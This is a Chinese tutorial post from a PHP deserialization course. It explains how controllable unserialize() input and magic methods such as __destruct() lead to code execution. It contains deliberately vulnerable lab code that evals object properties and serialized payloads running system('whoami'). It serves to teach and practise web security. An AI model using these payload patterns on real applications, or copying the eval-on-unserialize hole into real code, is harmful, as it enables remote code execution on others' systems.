WEB渗透—PHP反序列化(三)

Web渗透—PHP反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


五、反序列化漏洞

1)反序列化之后的内容为一个对象

2)反序列化生成的对象里的,由反序列化里的值提供;与原有类预定义的值无关;

反序列化漏洞的成因:反序列化过程中,unserialize()接收到的值(字符串)可控

通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。

3)反序列化不改变类的成员方法;需要调用方法后才能触发;

通过调用方法,触发代码执行

1.例题代码

<?php 
class test{public $a = 'echo "this is test!!";';public function displayVar() {eval($this->a);}
}
$get = $_GET["benben"];     //benben为对象序列化后的字符串
$b = unserialize($get);            //$b把字符串$get反序列化为对象,通过更改字符串可改变得到的对象中$a的值
$b->displayVar();                        //通过调用方法触发可控代码
?>

2.解题代码

<?php
class test{public $a = "system('whoami');";
}
echo serialize(new test);
?>

输出结果:
O:4:"test":1:{s:1:"a";s:17:"system('whoami');";}

回显结果:

调用displayVar(),displayVar()执行eval(),eval()触发代码


六、魔术方法简介

1.什么是魔术方法

一个预定好的,在特定情况下自动触发的行为方法。

2.魔术方法的作用

反序列化漏洞的成因:

        反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用方法,触发代码执行。

        魔术方法在特定条件下自动调用相关方法,最终导致触发代码

3.魔术方法相关机制

触发时机 ——> 功能 ——> 参数 ——> 返回值

触发时机:动作不同,触发的魔术方法也不同

参数:一些特殊魔术方法会传参

1)__construct(),类的构建函数

2)__destruct(),类的析构函数

3)__call(),在对象中调用一个不可用访问方法时调用

4)__callStatic(),用静态方式中调用一个不可用访问方法时调用

5)__get(),获得一个类的成员变量时调用

6)__isset(),当不可访问属性调用isset()或empty()时调用

7)__set(),设置一个类的成员变量时调用

8)__unset(),当对不可访问属性调用unset()时被调用

9)__sleep(),执行serialize()时,先会调用这个函数

10)__wakeup(),执行unserizlize()时,先会调用这个函数

11)__toString(),类被当成字符串时的回应方法

12)__invoke(),调用函数的方法调用一个对象时的回应方法

13)__ser_state(),调用var_export()导出类时,此静态方法被调用

14)__clone(),当对象复制完成时调用

15)__autoload(),尝试加载未定义的类

16)__debugInfo(),打印所需调试信息

4.__construct()

构造函数,在实例化一个对象的时候,首先会自动执行一个方法;

<?php
class User {
public $username;
public function __construct($username) {$this->username = $username;echo "触发了构造函数1次" ;}
}
$test = new User("benben");         //实例化对象时触发构造函数__construct()
$ser = serialize($test);            //在序列化和反序列化过程中不会触发
unserialize($ser);
?>

触发时机:实例化对象

功能:提前清理不必要内容

参数:非必要

返回值:(无)

5. __destruct()

析构函数,在对象的所有引用被删除或当对象被显式销毁时执行的魔术方法;

<?php
class User {public function __destruct(){echo "触发了析构函数1次"."<br />" ;}
}
$test = new User("benben");               //实例化对象结束后,代码运行完全会销毁,触发析构函数__destruct()
$ser = serialize($test);                  //在序列化过程中不会被触发
unserialize($ser);        ​​​​​​​        ​​​​​​​        //在反序列化过程中会被触发
?>

反序列化得到的是对象,用完后会被销毁,触发析构函数__destruct()

触发时机:对象引用完成,或对象被销毁

功能:(无)

参数:(无)

返回值:(无)

6.析构函数例题

<?php
class User {var $cmd = "echo 'dazhuang666!!';" ;public function __destruct(){eval ($this->cmd);}
}
$ser = $_GET["benben"];
unserialize($ser);
?>

反序列化会触发__destruct()

7. 解题代码

<?php
class User {var $cmd = "system('whoami');" ;
}
echo serialize(new User);
?>

输出结果:
O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";}

回显结果:

unserialize()触发__destruct(),destruct执行eval(),eval()触发代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/282702.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【漏洞复现】红帆OA iorepsavexml.aspx文件上传漏洞

漏洞描述 广州红帆科技深耕医疗行业20余年,专注医院行政管控,与企业微信、阿里钉钉全方位结合,推出web移动一体化办公解决方案——iOffice20(医微云)。提供行政办公、专业科室应用、决策辅助等信息化工具,采取平台化管理模式,取代医疗机构过往多系统分散式管理,实现医…

人工智能-A*算法-最优路径搜索实验

上次学会了《A*算法-八数码问题》&#xff0c;初步了解了A*算法的原理&#xff0c;本次再用A*算法完成一个最优路径搜索实验。 一、实验内容 1. 设计自己的启发式函数。 2. 在网格地图中&#xff0c;设计部分障碍物。 3. 实现A*算法&#xff0c;搜索一条最优路径。 二、A*算法实…

QT自带打包问题:无法定位程序输入点?metaobject@qsound

文章目录 无法定位程序输入点?metaobjectqsound……检查系统环境变量的配置&#xff1a;打包无须安装qt的文件 无法定位程序输入点?metaobjectqsound…… 在执行release打包程序后&#xff0c;相应的release文件夹下的exe文件&#xff0c;无法打开 如有错误欢迎指出 检查系…

Mysql存储引擎-InnoDB

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱吃芝士的土豆倪&#xff0c;24届校招生Java选手&#xff0c;很高兴认识大家&#x1f4d5;系列专栏&#xff1a;Spring源码、JUC源码、Kafka原理、分布式技术原理、数据库技术&#x1f525;如果感觉博主的文章还不错的…

ARS430毫米波雷达标定步骤

工具准备&#xff1a;CANoe&#xff0c; 标定工程文件&#xff0c;雷达标定板&#xff0c;三脚架&#xff0c;激光器&#xff0c;平口钳&#xff0c;气泡水平仪&#xff0c;小镜子&#xff0c;双面胶。 将车辆放置在车辆前方至少有20米空白视野的场地上。使用气泡水平仪大概使…

JUC并发编程 06——Synchronized与锁升级

一.Java对象内存布局和对象头 在HotSpot虚拟机里&#xff0c;对象在堆内存中的存储布局可以划分为三个部分&#xff1a;对象头(Header) 、实例数据 (Instance Data) 和 对文填充 (Padding)。 对象内部结构分为&#xff1a;对象头、实例数据、对齐填充&#xff08;保证8个字节的…

HashMap构造函数解析与应用场景

目录 1. HashMap简介 2. HashMap的构造函数 2.1 默认构造函数 2.2 指定初始容量和加载因子的构造函数 3. 构造函数参数的影响 3.1 初始容量的选择 3.2 加载因子的选择 4. 构造函数的应用场景 4.1 默认构造函数的应用场景 4.2 指定初始容量和加载因子的构造函数的应用…

Ubuntu 常用命令之 cp 命令用法介绍

cp命令在Ubuntu系统中用于复制文件或目录。它的基本格式是cp [选项] 源文件或目录 目标文件或目录。 以下是一些常用的cp命令选项 -i&#xff1a;在覆盖目标文件之前将给出提示。-r或-R&#xff1a;递归复制&#xff0c;用于目录的复制操作。-v&#xff1a;详细模式&#xff…

EasyRecovery2024功能强大的mac苹果数据恢复软件

Ontrack EasyRecovery2024是一款功能强大的数据恢复软件&#xff0c;它可以帮助用户从各种存储设备中恢复丢失或删除的数据。它支持多种文件系统和文件类型&#xff0c;可以恢复包括照片、视频、音频、文档、电子邮件和归档文件等不同类型的数据。 Ontrack EasyRecovery 是一款…

【i.MX6ULL】使用buildroot构建根文件系统

文章目录 前言1、下载源码2、构建根文件系统1. 配置buildroot2. 编译buildroot3. buildroot根文件系统测试 3、buildroot第三方软件和库的配置1. 使能 alsa-lib2. 使能 alsa-utils 4、 buildroot下的busybox配置1. busybox配置2. 使能常用命令 前言 本篇文章时参考的正点原子的…

计算机操作系统-第十八天

目录 进程调度时机 补充知识 进程调度的方式 非剥夺调度方式 剥夺调度方式 进程的切换与过程 本节思维导图 进程调度时机 进程调度&#xff08;低级调度&#xff09;&#xff0c;即按照某种算法从就绪队列中选择一个进程为其分配处理机。 共有两种需要进行进程调度与…

Leetcode刷题笔记题解(C++):224. 基本计算器

思路&#xff1a; step 1&#xff1a;使用栈辅助处理优先级&#xff0c;默认符号为加号。 step 2&#xff1a;遍历字符串&#xff0c;遇到数字&#xff0c;则将连续的数字字符部分转化为int型数字。 step 3&#xff1a;遇到左括号&#xff0c;则将括号后的部分送入递归&#x…